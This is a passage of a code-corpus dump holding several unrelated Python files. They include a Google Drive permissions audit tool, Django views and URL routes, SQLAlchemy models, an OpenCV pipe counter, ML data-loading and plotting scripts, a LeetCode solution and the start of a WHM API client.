\nnb=2801\nvaleurs=np.arange(nb)\n#valeurs=np.sin(np.arange(nb)/float(nb-1)*math.pi/2.)\naxe=Axe(\"longi\",\"degrés\",-12,16.,nb,valeurs)\nprint axe.valtick\nprint axe.valeurs\nprint axe.isInside(5.)\nprint axe.interval(5.1)\nprint axe.interval(4.59)\nprint axe.interval(2.2342)\nprint axe.interval(0.0)\nprint axe.interval(10.0)\nprint axe.interval(9.99)\nprint axe.val(9.99)\nprint axe.val(12.4555959)\nprint axe.val(9.999999999999999)\nprint axe.val(-12)\nprint axe.val(2)\nprint axe.val(16)\n\n\"\"\"","sub_path":"Axe.py","file_name":"Axe.py","file_ext":"py","file_size_in_byte":2363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"410425617","text":"from clients import GoogleAdminClient, GoogleDriveClient\nfrom external import csv_utils\nfrom datetime import datetime\nimport logging\nimport sys\nimport json\nimport time\nfrom logging import Handler\n\nlogger = logging.getLogger(__name__)\n\ndef _dt_fmt(dt):\n if not isinstance(dt, datetime):\n return dt\n return dt.strftime(\"%Y-%m-%d\")\n\n\ndef enable_stdout_logging():\n \"\"\"\n Invoke this prior to starting report to enable stdout logging.\n \"\"\"\n root = logging.getLogger()\n root.setLevel(logging.DEBUG)\n\n handler = logging.StreamHandler(sys.stdout)\n handler.setLevel(logging.INFO)\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n handler.setFormatter(formatter)\n root.addHandler(handler)\n\n\nclass GoogleDriveAuditReport(object):\n \"\"\"\n Reporting utility that generates a local spreadsheet of GDrive files and permissions.\n Usage is simple but the utility can take a while to run, see example usage below:\n \"\"\"\n\n def __init__(self, credentials, admin_user, audit_users=True, audit_team_drives=False):\n self.should_audit_users = audit_users\n self.should_audit_drives = audit_team_drives\n\n if not isinstance(credentials, basestring):\n raise ValueError(\"'credentials' must be a json formatted credential string, \"\n \"or a filename pointing to a json formatted credential string.\")\n\n try:\n credentials = json.loads(credentials)\n except:\n # This is probably a filename and not a json formatted string.\n # Error will be raised if it is not a valid file path.\n f = open(credentials, \"rb\")\n credentials = f.read().decode('utf-8')\n f.close()\n\n if not admin_user:\n raise ValueError('admin_user must be supplied (Google email address of user with administrative rights.')\n\n self.credentials = credentials\n self.user_files = dict()\n self.team_drive_files = dict()\n self.admin_user = admin_user\n\n # By default .git folders are ignored.\n # To add exclusion folders, set this property before starting the report.\n self.exclude_folders_named = [\".git\"]\n\n def start(self, output_file_name=None):\n \"\"\"\n Start generating the report.\n :return:\n \"\"\"\n self.audit_users()\n self.audit_team_drives()\n\n if self.should_audit_users:\n self.export_user_drive_report(output_file_name)\n\n if self.should_audit_drives:\n self.export_team_drive_report()\n\n def audit_team_drives(self):\n \"\"\"\n Audit all files found within team drives.\n Team drives audit is untested - we don't have an team drive enabled account to test on.\n :return:\n \"\"\"\n if not self.should_audit_drives:\n logger.info(\"Skipping audit of team drives.\")\n return\n\n logger.info(\"Beginning google drive audit of team drives.\")\n drive_client = GoogleDriveClient(self.credentials)\n folders = drive_client.team_drives()\n for folder in folders:\n files = None\n try:\n files = drive_client.walk_tree(folder_id=folder.id,\n path=folder.name,\n max_depth=30,\n my_folders_only=False,\n exclude_folders_named=self.exclude_folders_named)\n if not files:\n logger.info(\"No files found in team drive %s.\", folder.name)\n\n self.team_drive_files[folder.name] = files\n logger.info(\"Completed audit of team drive %s. %i files found.\", folder.name, len(files))\n except:\n logger.exception(\"Error occurred querying drive files for team drive %s.\", folder.name)\n\n drive_client.close()\n\n def audit_users(self):\n \"\"\"\n Audit all files found in user drives.\n :return:\n \"\"\"\n if not self.should_audit_users:\n logger.info(\"Skipping audit of user drives.\")\n return\n\n logger.info(\"Beginning google drive audit of user drives.\")\n users = self.get_users()\n\n if not users:\n return\n\n for user in users:\n if not user.primaryEmail:\n continue\n files = self.list_user_drive(user)\n if not files:\n logger.info(\"No files found in user drive %s.\", user.primaryEmail)\n continue\n\n logger.info(\"Completed audit of user drive %s. %i files found.\", user.primaryEmail, len(files))\n self.user_files[user.primaryEmail] = files\n\n def list_user_drive(self, user):\n \"\"\"\n Connect as the specified user and get report on all files.\n \"\"\"\n drive_client = None\n files = None\n try:\n drive_client = GoogleDriveClient(self.credentials,\n connect_as=user.primaryEmail)\n files = drive_client.walk_tree(exclude_folders_named=self.exclude_folders_named)\n\n except:\n logger.exception(\"Error occurred querying drive files for user %s.\", user.primaryEmail)\n\n finally:\n if drive_client:\n drive_client.close()\n return files\n\n def get_users(self):\n \"\"\"\n Call the admin api and get a list of all user objects.\n :return:\n \"\"\"\n admin_client = None\n users = None\n try:\n admin_client = GoogleAdminClient(self.credentials, connect_as=self.admin_user)\n users = admin_client.all_users()\n except:\n logger.exception(\"Error occurred querying google users.\")\n finally:\n if admin_client:\n admin_client.close()\n return users\n\n def export_user_drive_report(self, output_file_name=None):\n \"\"\"\n Export a csv file of the user drive permission report.\n :return:\n \"\"\"\n if not self.user_files:\n return None\n\n rows = []\n for email, file_data in self.user_files.iteritems():\n for path, f in file_data:\n row = {\"User Drive\": email, \"path\": path, \"name\": f.name, \"mimeType\": f.mimeType,\n \"trashed\": f.trashed, \"webViewLink\": f.webViewLink,\n \"createdTime\": _dt_fmt(f.createdTime), \"modifiedTime\": _dt_fmt(f.modifiedTime),\n \"owners\": self.file_owners(f),\n \"lastModifyingUser\": self.file_last_modified_by(f), \"shared\": f.shared,\n \"viewersCanCopy\": f.viewersCanCopyContent,\n \"usersAndGroups\": self.user_permission_string(f.permissions),\n \"domains\": self.domain_permission_string(f.permissions),\n \"anyone\": self.anyone_permission_string(f.permissions)\n }\n rows.append(row)\n\n out = csv_utils.records_to_string(rows)\n if not output_file_name:\n timestamp = time.mktime(datetime.now().timetuple())\n output_file_name = \"user_permission_report_%i.csv\" % timestamp\n\n logger.info(\"Writing user drive permissions report to '%s.'\" % output_file_name)\n f = open(output_file_name, \"wb\")\n f.write(out.encode('utf-8'))\n f.close()\n logger.info(\"Finished.\")\n\n @staticmethod\n def file_owners(file_obj):\n if not file_obj.owners:\n return \"\"\n owner_emails = [o.emailAddress for o in file_obj.owners if isinstance(o.emailAddress, basestring)]\n return \",\".join(owner_emails)\n\n @staticmethod\n def file_last_modified_by(file_obj):\n if not file_obj.lastModifyingUser:\n return None\n return file_obj.lastModifyingUser.emailAddress\n\n @staticmethod\n def user_permission_string(permissions):\n if not permissions:\n return \"\"\n user_permissions = (p for p in permissions if p.type in {'user', 'group'} and not p.deleted)\n return \",\".join(\"{}:{}:{}\".format(p.type, p.emailAddress, p.role)\n for p in user_permissions)\n\n @staticmethod\n def domain_permission_string(permissions):\n if not permissions:\n return \"\"\n domain_permissions = (p for p in permissions if p.type == 'domain' and not p.deleted)\n return \",\".join(\"{}:{}:D({})\".format(p.domain, p.role, p.allowFileDiscovery)\n for p in domain_permissions)\n\n @staticmethod\n def anyone_permission_string(permissions):\n if not permissions:\n return \"\"\n public_permissions = (p for p in permissions if p.type == 'anyone' and not p.deleted)\n return \",\".join(\"{}:D({})\".format(p.role, p.allowFileDiscovery)\n for p in public_permissions)\n\n def export_team_drive_report(self):\n \"\"\"\n Not yet implemented.\n \"\"\"\n logger.error(\"The team drive audit export has not yet been implemented.\")\n","sub_path":"audit.py","file_name":"audit.py","file_ext":"py","file_size_in_byte":9143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"91812768","text":"from django.urls import path\nfrom django.shortcuts import render\nfrom Employer import views\nurlpatterns=[\n path(\"home\",views.EmployerTotalJobApply.as_view(),name=\"Ehome\"),\n path(\"profile/create\",views.EmployerCreateProfileView.as_view(),name=\"EProfileCreate\"),\n path(\"profile/view\",views.EmployerProfileDetailView.as_view(),name=\"EProfileDetail\"),\n path(\"profile/change/\",views.EmployerProfileEditView.as_view(),name=\"EProfileEdit\"),\n path(\"jobpost/create\",views.EmployerJobPostView.as_view(),name=\"EJobPostCreate\"),\n path(\"jobpost/list\",views.EmployerJobDetailView.as_view(),name=\"EJobPostList\")\n]","sub_path":"JobPortal/Employer/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"122605903","text":"__author__ = 'jblowe'\n\nimport os\nimport re\nimport time\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render, render_to_response\n\nfrom search.utils import doSearch, setConstants, loginfo\nfrom common import cspace # we use the config file reading function\nfrom cspace_django_site import settings\nfrom os import path\n\nconfig = cspace.getConfig(path.join(settings.BASE_PARENT_DIR, 'config'), 'imaginator')\n\nMAXMARKERS = int(config.get('imaginator', 'MAXMARKERS'))\nMAXRESULTS = int(config.get('imaginator', 'MAXRESULTS'))\nMAXLONGRESULTS = int(config.get('imaginator', 'MAXLONGRESULTS'))\nIMAGESERVER = config.get('imaginator', 'IMAGESERVER')\nCSPACESERVER = config.get('imaginator', 'CSPACESERVER')\nSOLRSERVER = config.get('imaginator', 'SOLRSERVER')\nSOLRCORE = config.get('imaginator', 'SOLRCORE')\nTITLE = config.get('imaginator', 'TITLE')\nINSTITUTION = config.get('imaginator', 'INSTITUTION')\nSUGGESTIONS = config.get('imaginator', 'SUGGESTIONS')\nLAYOUT = config.get('imaginator', 'LAYOUT')\n\n\n#@login_required()\ndef index(request):\n\n context = setConstants({})\n\n # http://blog.mobileesp.com/\n # the middleware must be installed for the following to work...\n if request.is_phone:\n context['device'] = 'phone'\n elif request.is_tablet:\n context['device'] = 'tablet'\n else:\n context['device'] = 'other'\n\n if request.method == 'GET' and request.GET != {}:\n context['searchValues'] = request.GET\n\n if 'text' in request.GET:\n context['text'] = request.GET['text']\n if 'musno' in request.GET:\n context['musno'] = request.GET['musno']\n context['maxresults'] = 1\n if 'submit' in request.GET:\n context['maxresults'] = MAXRESULTS\n if \"Metadata\" in request.GET['submit']:\n context['resultType'] = 'metadata'\n context['displayType'] = 'full'\n elif \"Images\" in request.GET['submit']:\n context['resultType'] = 'images'\n context['pixonly'] = 'true'\n context['displayType'] = 'grid'\n elif \"Lucky\" in request.GET['submit']:\n context['resultType'] = 'metadata'\n context['maxresults'] = 1\n else:\n context['resultType'] = 'metadata'\n context['title'] = TITLE\n\n # do search\n loginfo('start search', context, request)\n context = doSearch(context)\n\n return render(request, 'imagineImages.html', context)\n\n else:\n \n return render(request, 'imagineImages.html', context)\n","sub_path":"imaginator/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"591399248","text":"import pickle\nimport os\nimport argparse\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom print_confidence_accuracy import estimator_name\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('name', type=str)\nparser.add_argument('--acquisition', '-a', type=str, default='bald')\nargs = parser.parse_args()\nargs.repeats = {'mnist': 3, 'cifar': 3, 'imagenet': 1}[args.name]\n\n\ndef process_file(file_name, count_conf, args, methods):\n\n with open(file_name, 'rb') as f:\n record = pickle.load(f)\n\n if args.acquisition == 'bald':\n process_file_bald(record, count_conf, args, methods)\n return\n\n bins = np.concatenate((np.arange(0, 1, 0.1), [0.98, 0.99, 0.999]))\n for estimator in methods:\n if estimator not in record['uncertainties'].keys():\n continue\n ue = record['uncertainties'][estimator]\n\n print(estimator)\n print(min(ue), max(ue))\n if args.acquisition == 'bald':\n ue = ue / max(ue)\n\n for confidence_level in bins:\n point_confidences = 1 - ue\n level_count = np.sum(point_confidences > confidence_level)\n count_conf.append((confidence_level, level_count, estimator_name(estimator)))\n\n\ndef process_file_bald(record, count_conf, args, methods):\n # bins = np.concatenate((np.arange(0, 1, 0.1), [0.98, 0.99, 0.999]))\n\n max_ue = {\n 'mnist': 1.4, 'cifar': 1, 'imagenet': 1.1\n }[args.name]\n\n bins = np.concatenate(([0, 0.02, 0.04, 0.06], np.arange(0.1, max_ue, 0.02)))\n\n for estimator in methods:\n if estimator not in record['uncertainties'].keys():\n continue\n ue = record['uncertainties'][estimator]\n\n print(estimator)\n if args.acquisition == 'bald':\n ue = ue / max(ue)\n\n for ue_level in bins:\n level_count = np.sum(ue < ue_level)\n count_conf.append((ue_level, level_count, estimator_name(estimator)))\n\n\ncount_conf = []\n\nfor i in range(args.repeats):\n file_name = f'logs/classification/{args.name}_{i}/ue_ood_{args.acquisition}.pickle'\n if args.acquisition == 'max_prob':\n methods = ['mc_dropout', 'ht_dpp', 'cov_k_dpp', 'cov_dpp', 'ht_k_dpp', 'max_prob']\n else:\n methods = ['mc_dropout', 'ht_dpp', 'cov_k_dpp', 'cov_dpp', 'ht_k_dpp']\n\n\n process_file(file_name, count_conf, args, methods)\n\n if args.acquisition == 'max_prob':\n ensemble_method = f\"ensemble_{args.acquisition}\"\n file_name = f'logs/classification/{args.name}_{i}/ue_ensemble_ood.pickle'\n if os.path.exists(file_name):\n process_file(file_name, count_conf, args, [ensemble_method])\n\n\n\nif args.acquisition == 'bald':\n metric = 'UE'\nelse:\n metric = 'Confidence'\n\nplt.rcParams.update({'font.size': 13})\nplt.rc('grid', linestyle=\"--\")\nplt.figure(figsize=(7, 5))\nplt.title(f\"{metric}-count for OOD {args.name} {args.acquisition}\")\ndf = pd.DataFrame(count_conf, columns=[f'{metric} level', 'Count', 'Estimator'])\nsns.lineplot(f'{metric} level', 'Count', data=df, hue='Estimator')\nplt.subplots_adjust(left=0.15)\n# plt.legend(loc='center left', bbox_to_anchor=(1, 0.5))\n\nsign = '<' if args.acquisition == 'bald' else '>'\nplt.ylabel(rf\"Number of samples, {metric} {sign} $\\tau$\")\nplt.xlabel(rf\"$\\tau$\")\nplt.grid()\nplt.savefig(f\"data/conf_ood_{args.name}_{args.acquisition}\", dpi=150)\nplt.show()\n\n","sub_path":"experiments/print_ood.py","file_name":"print_ood.py","file_ext":"py","file_size_in_byte":3390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"28417652","text":"from sqlalchemy import (\n Column,\n Index,\n Integer,\n Text,\n )\n\nfrom sqlalchemy.ext.declarative import declarative_base\n\nfrom sqlalchemy.orm import (\n scoped_session,\n sessionmaker,\n )\n\nfrom zope.sqlalchemy import ZopeTransactionExtension\n\nDBSession = scoped_session(sessionmaker(extension=ZopeTransactionExtension()))\nBase = declarative_base()\n\n\nclass MyModel(Base):\n \"\"\"\n >>> import transaction\n >>> from sqlalchemy import create_engine\n >>> engine = create_engine('sqlite://')\n >>> from simple.models import (\n ... DBSession,\n ... Base,\n ... MyModel,\n ... )\n >>> DBSession.configure(bind=engine)\n >>> Base.metadata.create_all(engine)\n >>> with transaction.manager:\n ... model = MyModel(name='one', value=1234)\n ... DBSession.add(model)\n >>>\n \"\"\"\n __tablename__ = 'MyModel'\n id = Column(Integer, primary_key=True)\n name = Column(Text)\n value = Column(Integer)\n\nIndex('my_index', MyModel.name, unique=True, mysql_length=255)\n","sub_path":"pyramid/doctesting/simple/simple/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"330121276","text":"import numpy as np\r\nimport cv2\r\nimport imutils\r\nimport seaborn as sns\r\n\r\nimg = cv2.imread('3.jpg')\r\ncv2.imshow('image',img)\r\n#k = cv2.waitKey(0)\r\n#if k == 27: # wait for ESC key to exit\r\n# cv2.destroyAllWindows()\r\n#elif k == ord('s'): # wait for 's' key to save and exit\r\n# cv2.imwrite('messigray.png',img)\r\n# cv2.destroyAllWindows()\r\n \r\n#pre-processing for the image\r\nicol = (0,114,23,255,255,66) # Pipes\r\n\r\nframeBGR = cv2.GaussianBlur(img, (7, 7), 0)\r\n#frameBGR = cv2.medianBlur(img, 7)\r\n#frameBGR = cv2.bilateralFilter(frameBGR, 15 ,75, 75)\r\n#kernal = np.ones((15, 15), np.uint8)\r\n#frameBGR = cv2.filter2D(frameBGR, -1, kernal)\"\"\"\r\n\t\r\n# Show blurred image.\r\ncv2.imshow('blurred', frameBGR)\r\n\t\r\n# HSV (Hue, Saturation, Value).\r\n# Convert the frame to HSV colour model.\r\nhsv = cv2.cvtColor(frameBGR, cv2.COLOR_BGR2HSV)\r\n\r\n# HSV values to define a colour range.\r\ncolorLow = np.array([0,114,23])\r\ncolorHigh = np.array([255,255,66])\r\nmask = cv2.inRange(hsv, colorLow, colorHigh)\r\n# Show the first mask\r\ncv2.imshow('mask-plain', mask)\r\n \r\n#kernel = np.ones((5,5),np.uint8)\r\n#mask = cv2.morphologyEx(mask, cv2.MORPH_OPEN, kernel)\r\n\r\n#kernal = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (7, 7))\r\n#mask = cv2.morphologyEx(mask, cv2.MORPH_CLOSE, kernal,iterations=1)\r\n#mask = cv2.morphologyEx(mask, cv2.MORPH_OPEN, kernal,iterations=1)\r\n \r\n# Show morphological transformation mask\r\n#cv2.imshow('mask', mask)\r\n\r\n# Put mask over top of the original image.\r\nresult = cv2.bitwise_and(img, img, mask = mask)\r\ncv2.imshow('result',result)\r\n\r\n# find contours in the thresholded image\r\ncnts = cv2.findContours(mask, cv2.RETR_EXTERNAL,\r\n\tcv2.CHAIN_APPROX_SIMPLE)\r\ncnts = imutils.grab_contours(cnts)\r\nprint(\"[INFO] {} unique contours found\".format(len(cnts)))\r\n \r\n# loop over the contours\r\nk = 0\r\na = []\r\n\r\nfor (i, c) in enumerate(cnts):\r\n\t# draw the contour\r\n\t#print(\"The value for each c\",c)\r\n\t((x, y), _) = cv2.minEnclosingCircle(c)\r\n\ta.append(cv2.contourArea(c))\r\n\tif(cv2.contourArea(c) > 500 and cv2.contourArea(c)<2500):\r\n\t\tcv2.putText(img, \"#{}\".format(k + 1), (int(x) - 10, int(y)),\r\n \t\tcv2.FONT_HERSHEY_SIMPLEX, 0.6, (0, 0, 255), 2)\r\n\t\tk = k + 1\r\n\t\tprint(\"The value for K\",k) \r\n \t#print(\"Area of rectangle\",cv2.contourArea(c))\r\n\r\n\t\tcv2.drawContours(img, [c], -1, (0, 255, 0), 2)\r\n\r\nprint(\"Total number of pipes\",k-1)\r\n# show the output image\r\ncv2.imshow(\"Image\", img)\r\ncv2.waitKey(0)\r\n\r\n#Plot to see the average contours area distribution\r\na1 = sns.distplot(a,hist=True,kde=True,rug=True)\r\n","sub_path":"counter_1.py","file_name":"counter_1.py","file_ext":"py","file_size_in_byte":2519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"125943605","text":"from __future__ import print_function, absolute_import\nimport os.path as osp\nimport os\nimport numpy as np\nfrom collections import defaultdict\n\nfrom ..utils.data import Dataset\nfrom ..utils.osutils import mkdir_if_missing\nfrom ..utils.serialization import read_json\nfrom ..utils.serialization import write_json\n\n\n\ndef _pluck(datasetname, identities, indices, id_offset=None, cam_offset=None):\n \"\"\"Extract im names of given pids.\n Args:\n identities: containing im names\n indices: pids\n relabel: whether to transform pids to classification labels\n \"\"\"\n ret = []\n for index, pid in enumerate(indices):\n pid_images = identities[pid]\n for camid, cam_images in enumerate(pid_images):\n for fname in cam_images:\n name = osp.splitext(fname)[0]\n x, y, _ = map(int, name.split('_'))\n assert pid == x and camid == y\n if (id_offset and cam_offset):\n ret.append((osp.join(datasetname, 'images', fname),\n id_offset+index, cam_offset+camid))\n else:\n ret.append((osp.join(datasetname, 'images', fname),\n index, camid))\n return ret\nclass Merged_Dataset(Dataset):\n \"\"\"\n merge the selected dataset for training\n args:\n datasets: a list of dataset name e.g.['market1501','cuhk03']\n\n \"\"\"\n def __init__(self, root, datasets, split_id=0, num_val=100, download=True):\n for dataset in datasets:\n assert dataset in os.listdir(root)\n super(Merged_Dataset, self).__init__(root, split_id=split_id)\n self.datasets = datasets\n\n for dataset in datasets:\n if not self._check_integrity(dataset):\n raise RuntimeError( dataset + \" not found or corrupted. \"\n \"You should download it first.\")\n\n self.load(num_val)\n\n def _check_integrity(self,dataset):\n return osp.isdir(osp.join(self.root, dataset, 'images')) and \\\n osp.isfile(osp.join(self.root, dataset, 'meta.json')) and \\\n osp.isfile(osp.join(self.root, dataset, 'splits.json'))\n\n @property\n def images_dir(self):\n return osp.join(self.root)\n\n def load(self, num_val=0.3, verbose=True, labelset=True):\n cam_offset = 0\n self.query = defaultdict()\n self.gallery = defaultdict()\n for dataset in self.datasets:\n splits = read_json(osp.join(self.root, dataset, 'splits.json'))\n if self.split_id >= len(splits):\n raise ValueError(\"split_id exceeds total splits {}\"\n .format(len(splits)))\n self.split = splits[self.split_id]\n trainval_pids = np.asarray(self.split['trainval'])\n np.random.shuffle(trainval_pids)\n num = len(trainval_pids)\n if isinstance(num_val, float):\n num_val = int(round(num * num_val))\n if num_val >= num or num_val < 0:\n raise ValueError(\"num_val exceeds total identities {}\"\n .format(num))\n train_pids = sorted(trainval_pids[:-num_val])\n val_pids = sorted(trainval_pids[-num_val:])\n\n self.meta = read_json(osp.join(self.root, dataset, 'meta.json'))\n identities = self.meta['identities']\n\n self.train.extend(_pluck(dataset, identities, train_pids, len(self.train), cam_offset))\n self.val.extend(_pluck(dataset, identities, val_pids, len(self.val), cam_offset))\n self.trainval.extend(_pluck(dataset, identities, trainval_pids, len(self.trainval), cam_offset))\n self.num_trainval_ids += len(trainval_pids)\n self.num_train_ids += len(train_pids)\n self.num_val_ids += len(val_pids)\n\n cam_offset += self.meta['num_cameras']\n\n if 'query_fnames'in self.meta.keys():\n query_fnames = self.meta['query_fnames']\n gallery_fnames = self.meta['gallery_fnames']\n self.query[dataset] = []\n for fname in query_fnames:\n name = osp.splitext(fname)[0]\n pid, cam, _ = map(int, name.split('_'))\n fname = os.path.join(dataset, 'images', fname)\n self.query[dataset].append((fname, pid, cam))\n self.gallery[dataset] = []\n for fname in gallery_fnames:\n name = osp.splitext(fname)[0]\n pid, cam, _ = map(int, name.split('_'))\n fname = os.path.join(dataset, 'images', fname)\n self.gallery[dataset].append((fname, pid, cam))\n elif 'labeled_query' in self.meta.keys():\n if labelset:\n query_fnames = self.meta['labeled_query']\n gallery_fnames = self.meta['labeled_gallery']\n else:\n query_fnames = self.meta['detected_query']\n gallery_fnames = self.meta['detected_gallery']\n self.query[dataset] = []\n for fname in query_fnames:\n name = osp.splitext(fname)[0]\n pid, cam, _ = map(int, name.split('_'))\n fname = os.path.join(dataset, 'images', fname)\n self.query[dataset].append((fname, pid, cam))\n self.gallery[dataset] = []\n for fname in gallery_fnames:\n name = osp.splitext(fname)[0]\n pid, cam, _ = map(int, name.split('_'))\n fname = os.path.join(dataset, 'images', fname)\n self.gallery[dataset].append((fname, pid, cam))\n else:\n self.query[dataset] = _pluck(dataset, identities, self.split['query'])\n self.gallery[dataset] = _pluck(dataset, identities, self.split['gallery'])\n print(\" {}_query | {:5d} | {:8d}\"\n .format(dataset, len(self.split['query']), len(self.query[dataset])))\n print(\" {}_gallery | {:5d} | {:8d}\"\n .format(dataset, len(self.split['gallery']), len(self.gallery[dataset])))\n if verbose:\n print(self.__class__.__name__, \"dataset loaded\")\n print(\" subset | # ids | # images\")\n print(\" ---------------------------\")\n print(\" train | {:5d} | {:8d}\"\n .format(self.num_train_ids, len(self.train)))\n print(\" val | {:5d} | {:8d}\"\n .format(self.num_val_ids, len(self.val)))\n print(\" trainval | {:5d} | {:8d}\"\n .format(self.num_trainval_ids, len(self.trainval)))\n\n\n","sub_path":"reid/datasets/merged_dataset.py","file_name":"merged_dataset.py","file_ext":"py","file_size_in_byte":6750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"639444277","text":"# -*- coding: utf-8 -*-\nfrom __future__ import (absolute_import, division, print_function, unicode_literals)\n\nfrom gensim.corpora.dictionary import Dictionary\nfrom multiprocessing import cpu_count\nfrom multiprocessing import Pool\nfrom simple_arxiv_engine.utils.util_tasks import DictionaryFetcher\nfrom simple_arxiv_engine.utils.utils import Chunkizer\n\nimport gzip\nimport json\nimport logging\nimport luigi\nimport nltk\nimport os\nimport uuid\n\n\n__author__ = 'Karl Ritchie '\n__copyrights__ = 'Copyright 2017 Karl Ritchie'\n\n\nlogger_name = 'simple.arxiv.engine'\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(logger_name)\n\nDATA = os.environ['SAE_DATA_FOLDER']\nDB = 'simple_arxiv_engine'\nCOLL = 'raw'\n\n\nclass OfflineDictionaryBuilder(luigi.Task):\n \"\"\" Builds a dictionary with paper summaries receive from ArXiv API\n\n \"\"\"\n\n def requires(self):\n return DictionaryFetcher(self.output().path)\n\n def output(self):\n return luigi.LocalTarget(path='{folder}/models/dictionary.model'.format(folder=DATA))\n\n @staticmethod\n def process_dictionaries(files):\n \"\"\" Method for processing a list of files and creating a dictionary based on the summary of papers.\n\n It will place the result into a staging dictionary that will be merged with the main dictionary in the run\n method of this class\n \"\"\"\n filename = '{folder}/models/dictionary.model.{id}'.format(folder=DATA, id=uuid.uuid4())\n dictionary = Dictionary()\n\n # Process each raw files\n for infile in files:\n\n with gzip.open(infile) as f_in:\n\n documents = []\n\n for line in f_in:\n\n if isinstance(line, bytes):\n line = line.decode('utf-8')\n\n tokens = nltk.word_tokenize(json.loads(line)['summary'])\n documents.append(tokens)\n\n dictionary.add_documents(documents)\n\n dictionary.save(filename)\n return filename\n\n def run(self):\n \"\"\" Loop through files to build dictionary\n\n \"\"\"\n\n files = ('{0}/raw/{1}'.format(str(DATA), str(file)) for file in os.listdir('{0}/raw'.format(DATA)))\n file_chunks = Chunkizer.chunkize_into_list(files, 100)\n\n dictionary = Dictionary.load(self.input().path)\n dictionaries = set()\n\n pool = Pool(processes=cpu_count())\n\n for i, output in enumerate(pool.imap_unordered(OfflineDictionaryBuilder.process_dictionaries,\n (chunk for chunk in file_chunks), chunksize=1), 1):\n dictionaries.add(output)\n\n for dictio in dictionaries:\n\n dictionary.merge_with(Dictionary.load(dictio))\n\n # Clean the staging files after\n os.remove(dictio)\n\n dictionary.save(self.input().path)\n return\n\nif __name__ == '__main__':\n luigi.run(main_task_cls=OfflineDictionaryBuilder, local_scheduler=True,\n cmdline_args=[])\n","sub_path":"simple_arxiv_engine/data_processing/offline_dictionary_builder.py","file_name":"offline_dictionary_builder.py","file_ext":"py","file_size_in_byte":3019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"647811840","text":"\"\"\"\nGive a string s, count the number of non-empty (contiguous) substrings that have the same number of 0's and 1's, and all the 0's and all the 1's in these substrings are grouped consecutively.\n\nSubstrings that occur multiple times are counted the number of times they occur.\n\nExample 1:\n\nInput: \"00110011\"\nOutput: 6\nExplanation: There are 6 substrings that have equal number of consecutive 1's and 0's: \"0011\", \"01\", \"1100\", \"10\", \"0011\", and \"01\".\n\nNotice that some of these substrings repeat and are counted the number of times they occur.\n\nAlso, \"00110011\" is not a valid substring because all the 0's (and 1's) are not grouped together.\n\nExample 2:\n\nInput: \"10101\"\nOutput: 4\nExplanation: There are 4 substrings: \"10\", \"01\", \"10\", \"01\" that have equal number of consecutive 1's and 0's.\n\nNote:\ns.length will be between 1 and 50,000.\ns will only consist of \"0\" or \"1\" characters.\n\"\"\"\n\nclass Solution:\n def countBinarySubstrings(self, s):\n \"\"\"\n 计数二进制子串\n :param s: str\n :return: int\n \"\"\"\n pre, cur, result = 0, 1, 0\n for i in range(len(s) - 1):\n if s[i] == s[i + 1]:\n cur += 1\n else:\n pre = cur\n cur = 1\n if pre >= cur:\n result += 1\n return result\n\nif __name__ == '__main__':\n solu = Solution()\n print(solu.countBinarySubstrings(\"00110011\"))","sub_path":"696_Count Binary Substrings.py","file_name":"696_Count Binary Substrings.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"633749297","text":"#!/usr/bin/env python\n#\n# Created by: Shawn Chen \n#\n# LICENSE\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License as published by the Free\n# Software Foundation; either version 2 of the License, or(at your option)\n# any later version.\n#\n# This program is distributed in the hope that it will be useful, but WITHOUT\n# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n# FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for\n# more details at http://www.gnu.org/copyleft/gpl.html\n#\n# Brief\n# Solves LeetCode Problem 8: String to Integer\n\n\nclass Solution(object):\n def myAtoi(self, str):\n \"\"\"\n :type str: str\n :rtype: int\n \"\"\"\n if len(str) <= 0:\n return 0\n num = 0\n # remove leading whitespace\n str = str.lstrip()\n if str[0] == '-':\n sign = -1\n else:\n sign = 1\n if str[0] in ['-', '+']:\n str = str[1:]\n for i in str:\n if i.isdigit():\n num = 10 * num + int(i)\n else:\n break\n if num > 2147483647:\n if sign == 1:\n num = 2147483647\n elif sign == -1:\n num = 2147483648\n else:\n num = 0\n return num * sign\n","sub_path":"Problem8/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"12156913","text":"try:\n from urlparse import urljoin\n from urllib2 import build_opener\nexcept ImportError:\n from urllib.parse import urljoin\n from urllib.request import build_opener\nimport json\nclass APIClient(object):\n \"\"\"WHM API client class\"\"\"\n def __init__(self,\n host_uri='https://127.0.0.1:2087',\n api_user='root',\n api_type='json-api',\n api_version=1,\n api_acc_hash=None):\n super(APIClient, self).__init__()\n self.host_uri = host_uri\n self.api_user = api_user\n self.api_type = api_type\n self.api_version = 